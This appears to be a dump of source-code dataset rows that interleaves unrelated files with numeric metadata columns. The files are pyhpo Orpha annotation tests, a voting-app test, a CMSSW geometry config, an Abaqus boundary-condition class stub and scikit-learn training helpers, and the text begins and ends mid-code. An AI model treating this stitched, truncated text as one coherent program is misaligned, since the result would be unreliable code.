"e1": None,
},
},
}
expected_result = {
"this.stub.e1": {
"environment": "e1",
"k1": "k1",
},
}
result = _linearize_environments(mock_base)
assert result == expected_result
| 27.637131
| 73
| 0.349466
| 449
| 6,550
| 4.890869
| 0.164811
| 0.065574
| 0.04918
| 0.127049
| 0.81102
| 0.797359
| 0.777322
| 0.750911
| 0.733151
| 0.705373
| 0
| 0.064516
| 0.512519
| 6,550
| 236
| 74
| 27.754237
| 0.623238
| 0.041374
| 0
| 0.690821
| 0
| 0
| 0.134812
| 0
| 0
| 0
| 0
| 0
| 0.043478
| 1
| 0.043478
| false
| 0
| 0.004831
| 0
| 0.05314
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2f36bd1bc97fe2385c526508e9b5fbbe81ce97e2
| 11,137
|
py
|
Python
|
tests/test_orpha_annotation.py
|
Centogene/pyhpo
|
2f1ea4ee80a9569f9ba0492bec8cfb91a5329606
|
[
"MIT"
] | 9
|
2021-02-16T18:24:29.000Z
|
2022-02-09T19:01:52.000Z
|
tests/test_orpha_annotation.py
|
Centogene/pyhpo
|
2f1ea4ee80a9569f9ba0492bec8cfb91a5329606
|
[
"MIT"
] | 1
|
2021-08-09T12:54:30.000Z
|
2021-08-11T07:51:37.000Z
|
tests/test_orpha_annotation.py
|
Centogene/pyhpo
|
2f1ea4ee80a9569f9ba0492bec8cfb91a5329606
|
[
"MIT"
] | 1
|
2022-02-14T14:19:41.000Z
|
2022-02-14T14:19:41.000Z
|
import unittest
from pyhpo.annotations import Orpha
from pyhpo.parser.diseases import all_orpha_diseases, add_orpha_to_term, add_negative_orpha_to_term
from pyhpo.parser.diseases import _add_orpha_to_ontology
from tests.mockontology import make_ontology, make_orpha
class OrphaTests(unittest.TestCase):
def setUp(self):
Orpha.clear()
def tearDown(self):
Orpha.clear()
def test_orpha_disease_building(self):
a = Orpha(diseaseid=1, name='Gaucher type I')
self.assertEqual(
a.name,
'Gaucher type I'
)
self.assertEqual(
a.id,
1
)
self.assertEqual(
a.hpo,
set()
)
def test_singleton_handling(self):
d1a = Orpha(diseaseid=1, name='Gaucher')
# ID present, will be used
d1b = Orpha(diseaseid=1, name='Fabry')
# No name present, ID will be used as well
d1c = Orpha(diseaseid=1, name=None)
# New ID, new Name => New Disease
d2a = Orpha(diseaseid=2, name='Fabry')
# ID present, Matching by ID
d2b = Orpha(diseaseid=2, name='Gaucher')
# ID present, Matching by ID
d2c = Orpha(diseaseid=2, name=None)
# New ID but existing name => New disease
d3a = Orpha(diseaseid=3, name='Gaucher')
self.assertIs(d1a, d1b)
self.assertIs(d1a, d1c)
self.assertIsNot(d1a, d2a)
self.assertIs(d2a, d2b)
self.assertIs(d2a, d2c)
self.assertIsNot(d1a, d3a)
self.assertIsNot(d2a, d3a)
def test_indexing(self):
def subindex_length(x):
return (
len(x.keys()),
len(x._indicies.keys()),
)
self.assertEqual(
subindex_length(Orpha),
(0, 0)
)
_ = Orpha(diseaseid=1, name='Gaucher')
self.assertEqual(
subindex_length(Orpha),
(1, 1)
)
_ = Orpha(diseaseid=2, name='Fabry')
self.assertEqual(
subindex_length(Orpha),
(2, 2)
)
Orpha.clear()
self.assertEqual(
subindex_length(Orpha),
(0, 0)
)
def test_get_orpha(self):
d1 = Orpha(diseaseid=1, name='Gaucher')
d2 = Orpha(diseaseid=2, name='Fabry')
self.assertEqual(Orpha.get(1), d1)
self.assertEqual(Orpha.get(2), d2)
self.assertEqual(Orpha.get('1'), d1)
self.assertRaises(
ValueError,
lambda: Orpha.get('Fabry')
)
self.assertRaises(
KeyError,
lambda: Orpha.get(12)
)
def test_json(self):
g = Orpha(diseaseid=1, name='Foo')
self.assertEqual(
g.toJSON(),
{'id': 1, 'name': 'Foo'}
)
self.assertEqual(
g.toJSON(verbose=True),
{'id': 1, 'name': 'Foo', 'hpo': set()}
)
def test_equality(self):
g = Orpha(diseaseid=1, name='Foo')
self.assertEqual(g, 1)
self.assertEqual(g, 'Foo')
def test_string_representation(self):
d = Orpha(diseaseid=1, name='Foo')
self.assertEqual(str(d), 'Foo')
class TestOrphaAnnotationParsing(unittest.TestCase):
def setUp(self):
Orpha.clear()
self.ontology = make_ontology()
self.orpha_diseases = make_orpha(5)
def tearDown(self):
Orpha.clear()
def test_gene_global_singleton(self):
assert len(all_orpha_diseases()) == 5
def test_annotating_hpo_terms(self):
assert self.ontology[1].orpha_diseases == set()
assert self.ontology[11].orpha_diseases == set()
assert self.ontology[21].orpha_diseases == set()
assert self.ontology[31].orpha_diseases == set()
assert self.ontology[12].orpha_diseases == set()
assert self.ontology[41].orpha_diseases == set()
assert self.ontology[13].orpha_diseases == set()
add_orpha_to_term(self.orpha_diseases[0], self.ontology[21])
assert self.ontology[1].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[11].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[21].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[31].orpha_diseases == set()
assert self.ontology[12].orpha_diseases == set()
assert self.ontology[41].orpha_diseases == set()
assert self.ontology[13].orpha_diseases == set()
assert self.ontology[1].orpha_excluded_diseases == set()
assert self.ontology[11].orpha_excluded_diseases == set()
assert self.ontology[21].orpha_excluded_diseases == set()
assert self.ontology[31].orpha_excluded_diseases == set()
assert self.ontology[12].orpha_excluded_diseases == set()
assert self.ontology[41].orpha_excluded_diseases == set()
assert self.ontology[13].orpha_excluded_diseases == set()
def test_annotating_hpo_terms_multiple_parents(self):
add_orpha_to_term(self.orpha_diseases[0], self.ontology[31])
assert self.ontology[1].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[11].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[21].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[31].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[12].orpha_diseases == set([self.orpha_diseases[0]])
assert self.ontology[41].orpha_diseases == set()
assert self.ontology[13].orpha_diseases == set()
def test_negative_annotation(self):
add_negative_orpha_to_term(self.orpha_diseases[0], self.ontology[21])
assert self.ontology[1].orpha_diseases == set()
assert self.ontology[11].orpha_diseases == set()
assert self.ontology[21].orpha_diseases == set()
assert self.ontology[31].orpha_diseases == set()
assert self.ontology[12].orpha_diseases == set()
assert self.ontology[41].orpha_diseases == set()
assert self.ontology[13].orpha_diseases == set()
assert self.ontology[1].orpha_excluded_diseases == set()
assert self.ontology[11].orpha_excluded_diseases == set()
assert self.ontology[21].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[31].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[12].orpha_excluded_diseases == set()
assert self.ontology[41].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[13].orpha_excluded_diseases == set()
def test_negative_annotation_all(self):
add_negative_orpha_to_term(self.orpha_diseases[0], self.ontology[1])
assert self.ontology[1].orpha_diseases == set()
assert self.ontology[11].orpha_diseases == set()
assert self.ontology[21].orpha_diseases == set()
assert self.ontology[31].orpha_diseases == set()
assert self.ontology[12].orpha_diseases == set()
assert self.ontology[41].orpha_diseases == set()
assert self.ontology[13].orpha_diseases == set()
assert self.ontology[1].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[11].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[21].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[31].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[12].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[41].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
assert self.ontology[13].orpha_excluded_diseases == set([
self.orpha_diseases[0]
])
def test_annotating_hpo_terms_mutliple_orpha_diseases(self):
add_orpha_to_term(self.orpha_diseases[0], self.ontology[31])
add_orpha_to_term(self.orpha_diseases[1], self.ontology[41])
assert self.ontology[1].orpha_diseases == set([
self.orpha_diseases[0],
self.orpha_diseases[1]
])
assert self.ontology[11].orpha_diseases == set([
self.orpha_diseases[0],
self.orpha_diseases[1]
])
assert self.ontology[21].orpha_diseases == set([
self.orpha_diseases[0],
self.orpha_diseases[1]
])
assert self.ontology[31].orpha_diseases == set([
self.orpha_diseases[1],
self.orpha_diseases[0]
])
assert self.ontology[12].orpha_diseases == set([
self.orpha_diseases[1],
self.orpha_diseases[0]
])
assert self.ontology[41].orpha_diseases == set([
self.orpha_diseases[1]
])
assert self.ontology[13].orpha_diseases == set()
def test_full_annotation(self):
self.orpha_diseases[0].hpo.add(31)
self.orpha_diseases[1].hpo.add(41)
self.orpha_diseases[2].negative_hpo.add(12)
_add_orpha_to_ontology(self.ontology)
assert self.ontology[1].orpha_diseases == set([
self.orpha_diseases[0],
self.orpha_diseases[1]
])
assert self.ontology[11].orpha_diseases == set([
self.orpha_diseases[0],
self.orpha_diseases[1]
])
assert self.ontology[21].orpha_diseases == set([
self.orpha_diseases[0],
self.orpha_diseases[1]
])
assert self.ontology[31].orpha_diseases == set([
self.orpha_diseases[1],
self.orpha_diseases[0]
])
assert self.ontology[12].orpha_diseases == set([
self.orpha_diseases[1],
self.orpha_diseases[0]
])
assert self.ontology[41].orpha_diseases == set([
self.orpha_diseases[1]
])
assert self.ontology[13].orpha_diseases == set()
assert self.orpha_diseases[0].hpo == set([31])
assert self.orpha_diseases[1].hpo == set([41])
assert self.ontology[1].orpha_excluded_diseases == set()
assert self.ontology[11].orpha_excluded_diseases == set()
assert self.ontology[21].orpha_excluded_diseases == set()
assert self.ontology[31].orpha_excluded_diseases == set([
self.orpha_diseases[2]
])
assert self.ontology[12].orpha_excluded_diseases == set([
self.orpha_diseases[2]
])
assert self.ontology[41].orpha_excluded_diseases == set([
self.orpha_diseases[2]
])
assert self.ontology[13].orpha_excluded_diseases == set()
assert self.orpha_diseases[0].negative_hpo == set()
assert self.orpha_diseases[1].negative_hpo == set()
assert self.orpha_diseases[2].negative_hpo == set([12])
| 35.468153
| 99
| 0.603843
| 1,318
| 11,137
| 4.909712
| 0.084977
| 0.220986
| 0.214186
| 0.126565
| 0.815484
| 0.747798
| 0.73528
| 0.640241
| 0.633442
| 0.629733
| 0
| 0.034921
| 0.272335
| 11,137
| 313
| 100
| 35.58147
| 0.763574
| 0.01715
| 0
| 0.610687
| 0
| 0
| 0.011427
| 0
| 0
| 0
| 0
| 0
| 0.408397
| 1
| 0.072519
| false
| 0
| 0.019084
| 0.003817
| 0.103053
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2f68ef83394d5bf39bb8c0e96c39dbcb3d6396b5
| 217
|
py
|
Python
|
examples/voting-app/vote/test_app.py
|
himawarl/zadig
|
acd5f705f49fc7838a6d4c3005c6430e49ca212e
|
[
"Apache-2.0"
] | 1,181
|
2021-05-23T05:17:18.000Z
|
2022-03-31T06:37:44.000Z
|
examples/voting-app/vote/test_app.py
|
himawarl/zadig
|
acd5f705f49fc7838a6d4c3005c6430e49ca212e
|
[
"Apache-2.0"
] | 199
|
2021-05-24T02:28:06.000Z
|
2022-03-31T07:22:04.000Z
|
examples/voting-app/vote/test_app.py
|
himawarl/zadig
|
acd5f705f49fc7838a6d4c3005c6430e49ca212e
|
[
"Apache-2.0"
] | 376
|
2021-05-24T03:37:23.000Z
|
2022-03-31T10:11:54.000Z
|
import app
def test_generate_voter_id():
assert app.get_voter_id({}), "voter id is generated"
def test_get_voter_id():
assert app.get_voter_id({"voter_id": "12345"}) == "12345", "voter id is pre-defined"
| 21.7
| 89
| 0.695853
| 35
| 217
| 4
| 0.4
| 0.35
| 0.214286
| 0.228571
| 0.471429
| 0.471429
| 0.471429
| 0.471429
| 0.471429
| 0
| 0
| 0.054645
| 0.156682
| 217
| 9
| 90
| 24.111111
| 0.710383
| 0
| 0
| 0
| 1
| 0
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0.4
| 1
| 0.4
| true
| 0
| 0.2
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
85db9da306eaf4e7413469f973b3c0d62112f66e
| 168
|
py
|
Python
|
Geometry/EcalAlgo/python/EcalGeometry_cfi.py
|
NTrevisani/cmssw
|
a212a27526f34eb9507cf8b875c93896e6544781
|
[
"Apache-2.0"
] | 3
|
2018-08-24T19:10:26.000Z
|
2019-02-19T11:45:32.000Z
|
Geometry/EcalAlgo/python/EcalGeometry_cfi.py
|
NTrevisani/cmssw
|
a212a27526f34eb9507cf8b875c93896e6544781
|
[
"Apache-2.0"
] | 8
|
2020-03-20T23:18:36.000Z
|
2020-05-27T11:00:06.000Z
|
Geometry/EcalAlgo/python/EcalGeometry_cfi.py
|
NTrevisani/cmssw
|
a212a27526f34eb9507cf8b875c93896e6544781
|
[
"Apache-2.0"
] | 5
|
2018-08-21T16:37:52.000Z
|
2020-01-09T13:33:17.000Z
|
from Geometry.EcalAlgo.EcalEndcapGeometry_cfi import *
from Geometry.EcalAlgo.EcalPreshowerGeometry_cfi import *
from Geometry.EcalAlgo.EcalBarrelGeometry_cfi import *
| 42
| 57
| 0.875
| 18
| 168
| 8
| 0.444444
| 0.25
| 0.416667
| 0.291667
| 0.402778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 168
| 3
| 58
| 56
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
c85edb632217f3ba69713640d36fe1c65fa04ba0
| 6,922
|
py
|
Python
|
src/abaqus/BoundaryCondition/RetainedNodalDofsBC.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | 7
|
2022-01-21T09:15:45.000Z
|
2022-02-15T09:31:58.000Z
|
src/abaqus/BoundaryCondition/RetainedNodalDofsBC.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
src/abaqus/BoundaryCondition/RetainedNodalDofsBC.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
from abaqusConstants import *
from .BoundaryCondition import BoundaryCondition
from ..Region.Region import Region
class RetainedNodalDofsBC(BoundaryCondition):
"""The RetainedNodalDofsBC object stores the data for a retained nodal dofs boundary
condition.
The RetainedNodalDofsBC object is derived from the BoundaryCondition object.
Attributes
----------
name: str
A String specifying the boundary condition repository key.
category: SymbolicConstant
A SymbolicConstant specifying the category of the boundary condition. Possible values
are MECHANICAL and THERMAL.
region: Region
A :py:class:`~abaqus.Region.Region.Region` object specifying the region to which the boundary condition is applied.
localCsys: str
None or a :py:class:`~abaqus.Datum.DatumCsys.DatumCsys` object specifying the local coordinate system of the boundary
condition's degrees of freedom. If **localCsys=None**, the degrees of freedom are defined
in the global coordinate system. The default value is None.
Notes
-----
This object can be accessed by:
.. code-block:: python
import load
mdb.models[name].boundaryConditions[name]
"""
# A String specifying the boundary condition repository key.
name: str = ''
# A SymbolicConstant specifying the category of the boundary condition. Possible values
# are MECHANICAL and THERMAL.
category: SymbolicConstant = None
# A Region object specifying the region to which the boundary condition is applied.
region: Region = Region()
# None or a DatumCsys object specifying the local coordinate system of the boundary
# condition's degrees of freedom. If *localCsys*=None, the degrees of freedom are defined
# in the global coordinate system. The default value is None.
localCsys: str = None
def __init__(self, name: str, createStepName: str, region: Region, u1: Boolean = OFF, u2: Boolean = OFF,
u3: Boolean = OFF, ur1: Boolean = OFF, ur2: Boolean = OFF, ur3: Boolean = OFF):
"""This method creates a RetainedNodalDofsBC object.
Notes
-----
This function can be accessed by:
.. code-block:: python
mdb.models[name].RetainedNodalDofsBC
Parameters
----------
name
A String specifying the boundary condition repository key.
createStepName
A String specifying the name of the step in which the boundary condition is created.
region
A Region object specifying the region to which the boundary condition is applied.
u1
A Boolean specifying whether to retain the degree of freedom in the 1-direction. The
default value is OFF indicating that the degree of freedom is not retained.
u2
A Boolean specifying whether to retain the degree of freedom in the 2-direction. The
default value is OFF indicating that the degree of freedom is not retained.
u3
A Boolean specifying whether to retain the degree of freedom in the 3-direction. The
default value is OFF indicating that the degree of freedom is not retained.
ur1
A Boolean specifying whether to retain the rotational degree of freedom about the
1-direction. The default value is OFF indicating that the degree of freedom is not
retained.
ur2
A Boolean specifying whether to retain the rotational degree of freedom about the
2-direction. The default value is OFF indicating that the degree of freedom is not
retained.
ur3
A Boolean specifying whether to retain the rotational degree of freedom about the
3-direction. The default value is OFF indicating that the degree of freedom is not
retained.
Returns
-------
A RetainedNodalDofsBC object.
"""
super().__init__()
pass
def setValues(self, u1: Boolean = OFF, u2: Boolean = OFF, u3: Boolean = OFF, ur1: Boolean = OFF,
ur2: Boolean = OFF, ur3: Boolean = OFF):
"""This method modifies the data for an existing RetainedNodalDofsBC object in the step
where it is created.
Parameters
----------
u1
A Boolean specifying whether to retain the degree of freedom in the 1-direction. The
default value is OFF indicating that the degree of freedom is not retained.
u2
A Boolean specifying whether to retain the degree of freedom in the 2-direction. The
default value is OFF indicating that the degree of freedom is not retained.
u3
A Boolean specifying whether to retain the degree of freedom in the 3-direction. The
default value is OFF indicating that the degree of freedom is not retained.
ur1
A Boolean specifying whether to retain the rotational degree of freedom about the
1-direction. The default value is OFF indicating that the degree of freedom is not
retained.
ur2
A Boolean specifying whether to retain the rotational degree of freedom about the
2-direction. The default value is OFF indicating that the degree of freedom is not
retained.
ur3
A Boolean specifying whether to retain the rotational degree of freedom about the
3-direction. The default value is OFF indicating that the degree of freedom is not
retained.
"""
pass
def setValuesInStep(self, stepName: str, u1: Boolean = OFF, u2: Boolean = OFF, u3: Boolean = OFF,
ur1: Boolean = OFF, ur2: Boolean = OFF, ur3: Boolean = OFF):
"""This method modifies the propagating data for an existing RetainedNodalDofsBC object in
the specified step.
Parameters
----------
stepName
A String specifying the name of the step in which the boundary condition is modified.
u1
A Boolean specifying whether to retain the degree of freedom in the 1-direction.
u2
A Boolean specifying whether to retain the degree of freedom in the 2-direction.
u3
A Boolean specifying whether to retain the degree of freedom in the 3-direction.
ur1
A Boolean specifying whether to retain the rotational degree of freedom about the
1-direction.
ur2
A Boolean specifying whether to retain the rotational degree of freedom about the
2-direction.
ur3
A Boolean specifying whether to retain the rotational degree of freedom about the
3-direction.
"""
pass
| 44.089172
| 125
| 0.649812
| 867
| 6,922
| 5.178777
| 0.132641
| 0.068151
| 0.100223
| 0.084187
| 0.801782
| 0.801782
| 0.801782
| 0.788419
| 0.756347
| 0.732294
| 0
| 0.011227
| 0.305114
| 6,922
| 156
| 126
| 44.371795
| 0.922245
| 0.742127
| 0
| 0.166667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0.166667
| 0.166667
| 0
| 0.611111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 8
|
c0a8f54f5cb5e393cab6df876ca5ede40d75a18e
| 143
|
py
|
Python
|
kash/__init__.py
|
withkash/kash_python
|
38479c0de8dbaf4e778ef4f30a70517eb4c03875
|
[
"BSD-3-Clause"
] | null | null | null |
kash/__init__.py
|
withkash/kash_python
|
38479c0de8dbaf4e778ef4f30a70517eb4c03875
|
[
"BSD-3-Clause"
] | null | null | null |
kash/__init__.py
|
withkash/kash_python
|
38479c0de8dbaf4e778ef4f30a70517eb4c03875
|
[
"BSD-3-Clause"
] | null | null | null |
try:
#python2
from secret_client import SecretClient
except ImportError:
#python3
from .secret_client import SecretClient
| 17.875
| 43
| 0.727273
| 15
| 143
| 6.8
| 0.666667
| 0.196078
| 0.313725
| 0.431373
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0.018349
| 0.237762
| 143
| 7
| 44
| 20.428571
| 0.917431
| 0.097902
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
c0cfc235a5628e2c8abe269518cb86da30b2402d
| 14,451
|
py
|
Python
|
src/models/functions.py
|
ah12068/fca-takehome-test
|
527fd2c9e8dc9f06a4a4d12557d589f830b027be
|
[
"RSA-MD"
] | null | null | null |
src/models/functions.py
|
ah12068/fca-takehome-test
|
527fd2c9e8dc9f06a4a4d12557d589f830b027be
|
[
"RSA-MD"
] | null | null | null |
src/models/functions.py
|
ah12068/fca-takehome-test
|
527fd2c9e8dc9f06a4a4d12557d589f830b027be
|
[
"RSA-MD"
] | null | null | null |
import logging
import pandas as pd
import plotly.graph_objs as go
from plotly.subplots import make_subplots
from constants import (
PLOTLY_TEMPLATE,
PANDAS_TEMPLATE,
classes,
id_col,
target_col,
parameter_grid,
cpu_count,
feature_coefs,
sampling_strats
)
from sklearn.model_selection import train_test_split, GridSearchCV
from sklearn.feature_selection import RFE
from sklearn.metrics import confusion_matrix, accuracy_score, classification_report
from sklearn.metrics import roc_auc_score, roc_curve
def baseline_trainer(processed_df, algorithm, sampler, cf, name=None):
logger = logging.getLogger(__name__)
cols = [col for col in processed_df.columns if col not in id_col + target_col]
X = processed_df[cols]
y = processed_df[target_col]
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.25, random_state=111)
logger.info(f'Applying sampling strategy')
sampled_X, sampled_y = sampler.fit_sample(X_train, y_train)
sampled_X = pd.DataFrame(data=sampled_X, columns=cols)
sampled_y = pd.DataFrame(data=sampled_y, columns=target_col)
logger.info(f'Fitting and Optimising Model')
clf = GridSearchCV(
estimator=algorithm,
param_grid=parameter_grid[name],
cv=10,
n_jobs=cpu_count,
verbose=True
)
best_model = clf.fit(sampled_X.values, sampled_y.values.ravel())
predictions = best_model.predict(X_test)
probabilities = best_model.predict_proba(X_test)
logger.info(f'Generating metrics')
if cf == "coefficients":
coefficients = pd.DataFrame(best_model.best_estimator_.coef_.ravel())
plotly_title = 'Coefficients'
elif cf == "features":
coefficients = pd.DataFrame(best_model.best_estimator_.feature_importances_)
plotly_title = 'Feature Importances'
column_df = pd.DataFrame(cols)
coef_sumry = (pd.merge(coefficients, column_df, left_index=True,
right_index=True, how="left"))
coef_sumry.columns = ["coefficients", "features"]
coef_sumry = coef_sumry.sort_values(by="coefficients", ascending=False)
conf_matrix = confusion_matrix(y_test, predictions)
model_roc_auc = roc_auc_score(y_test, predictions)
fpr, tpr, thresholds = roc_curve(y_test, probabilities[:, 1])
metrics = {
'Classification Report': classification_report(y_test, predictions),
'AUC Score': model_roc_auc,
'Confusion Matrix': conf_matrix,
'TPR': tpr,
'FPR': fpr
}
print(f"Metrics:\n{metrics['Classification Report']}\n{model_roc_auc}")
logger.info('Producing Evaluation Report')
trace1 = go.Heatmap(z=conf_matrix,
x=classes,
y=classes,
showscale=False,
colorscale="Picnic",
name="matrix")
# plot roc curve
trace2 = go.Scatter(x=fpr, y=tpr,
name=f'AUC: {model_roc_auc}',
line=dict(color='rgb(22, 96, 167)', width=2))
trace3 = go.Scatter(x=[0, 1], y=[0, 1],
line=dict(color='rgb(205, 12, 24)', width=2,
dash='dot'))
# plot coeffs
trace4 = go.Bar(x=coef_sumry["features"], y=coef_sumry["coefficients"],
name=cf,
marker=dict(color=coef_sumry["coefficients"],
colorscale="Picnic",
line=dict(width=.6, color="black")))
# subplots
fig = make_subplots(rows=2, cols=2, specs=[[{}, {}], [{'colspan': 2}, None]],
subplot_titles=('Confusion Matrix',
'Receiver operating characteristic',
plotly_title))
fig.append_trace(trace1, 1, 1)
fig.append_trace(trace2, 1, 2)
fig.append_trace(trace3, 1, 2)
fig.append_trace(trace4, 2, 1)
fig['layout'].update(showlegend=False, title=f"{name} performance",
autosize=False, height=900, width=800,
plot_bgcolor='rgba(240,240,240, 0.95)',
paper_bgcolor='rgba(240,240,240, 0.95)',
margin=dict(b=195))
fig["layout"]["xaxis2"].update(dict(title="false positive rate"))
fig["layout"]["yaxis2"].update(dict(title="true positive rate"))
fig["layout"]["xaxis3"].update(dict(showgrid=True, tickfont=dict(size=10),
tickangle=90))
fig.layout['hovermode'] = 'x'
fig.show()
return algorithm, metrics, fig
def feature_select(processed_df, sampler, algorithm, n_features):
logger = logging.getLogger(__name__)
cols = [col for col in processed_df.columns if col not in id_col + target_col]
X = processed_df[cols]
y = processed_df[target_col]
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.25, random_state=111)
sampled_X, sampled_y = sampling_strats[sampler].fit_sample(X_train, y_train)
sampled_X = pd.DataFrame(data=sampled_X, columns=cols)
sampled_y = pd.DataFrame(data=sampled_y, columns=target_col)
logger.info(f'Performing RFE for {n_features} features')
model = RFE(estimator=algorithm, n_features_to_select=n_features)
model.fit(X_train.values, y_train.values.ravel())
cols_to_keep = X.columns[model.support_].tolist()
print(f'Top {n_features} Features to keep: {cols_to_keep}')
return cols_to_keep
def train_with_feature_selection(processed_df, sampler, algorithm, n_features, cf, name=None):
logger = logging.getLogger(__name__)
features = feature_select(processed_df, sampler, algorithm, n_features)
X = processed_df[features]
y = processed_df[target_col]
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.25, random_state=111)
logger.info(f'Applying sampling strategy')
sampled_X, sampled_y = sampling_strats[sampler].fit_sample(X_train, y_train)
sampled_X = pd.DataFrame(data=sampled_X, columns=features)
sampled_y = pd.DataFrame(data=sampled_y, columns=target_col)
clf = GridSearchCV(
estimator=algorithm,
param_grid=parameter_grid[name],
cv=10,
n_jobs=cpu_count,
verbose=True
)
best_model = clf.fit(sampled_X.values, sampled_y.values.ravel())
predictions = best_model.predict(X_test)
probabilities = best_model.predict_proba(X_test)
logger.info(f'Generating metrics')
if cf == "coefficients":
coefficients = pd.DataFrame(best_model.best_estimator_.coef_.ravel())
plotly_title = 'Coefficients'
elif cf == "features":
coefficients = pd.DataFrame(best_model.best_estimator_.feature_importances_)
plotly_title = 'Feature Importances'
column_df = pd.DataFrame(features)
coef_sumry = (pd.merge(coefficients, column_df, left_index=True,
right_index=True, how="left"))
coef_sumry.columns = ["coefficients", "features"]
coef_sumry = coef_sumry.sort_values(by="coefficients", ascending=False)
conf_matrix = confusion_matrix(y_test, predictions)
model_roc_auc = roc_auc_score(y_test, predictions)
fpr, tpr, thresholds = roc_curve(y_test, probabilities[:, 1])
metrics = {
'Classification Report': classification_report(y_test, predictions),
'AUC Score': model_roc_auc,
'Confusion Matrix': conf_matrix,
'TPR': tpr,
'FPR': fpr
}
print(f"Metrics:\n{metrics['Classification Report']}\n{model_roc_auc}")
logger.info('Producing Evaluation Report')
trace1 = go.Heatmap(z=conf_matrix,
x=classes,
y=classes,
showscale=False,
colorscale="Picnic",
name="matrix")
# plot roc curve
trace2 = go.Scatter(x=fpr, y=tpr,
name=f'AUC: {model_roc_auc}',
line=dict(color='rgb(22, 96, 167)', width=2))
trace3 = go.Scatter(x=[0, 1], y=[0, 1],
line=dict(color='rgb(205, 12, 24)', width=2,
dash='dot'))
# plot coeffs
trace4 = go.Bar(x=coef_sumry["features"], y=coef_sumry["coefficients"],
name=cf,
marker=dict(color=coef_sumry["coefficients"],
colorscale="Picnic",
line=dict(width=.6, color="black")))
# subplots
fig = make_subplots(rows=2, cols=2, specs=[[{}, {}], [{'colspan': 2}, None]],
subplot_titles=('Confusion Matrix',
'Receiver operating characteristic',
plotly_title))
fig.append_trace(trace1, 1, 1)
fig.append_trace(trace2, 1, 2)
fig.append_trace(trace3, 1, 2)
fig.append_trace(trace4, 2, 1)
fig['layout'].update(showlegend=False, title=f"{name} performance",
autosize=False, height=900, width=800,
plot_bgcolor='rgba(240,240,240, 0.95)',
paper_bgcolor='rgba(240,240,240, 0.95)',
margin=dict(b=195))
fig["layout"]["xaxis2"].update(dict(title="false positive rate"))
fig["layout"]["yaxis2"].update(dict(title="true positive rate"))
fig["layout"]["xaxis3"].update(dict(showgrid=True, tickfont=dict(size=10),
tickangle=90))
fig.layout['hovermode'] = 'x'
fig.show()
return algorithm, metrics, fig
def create_report(algorithm, test_X, test_Y):
predictions = algorithm.predict(test_X)
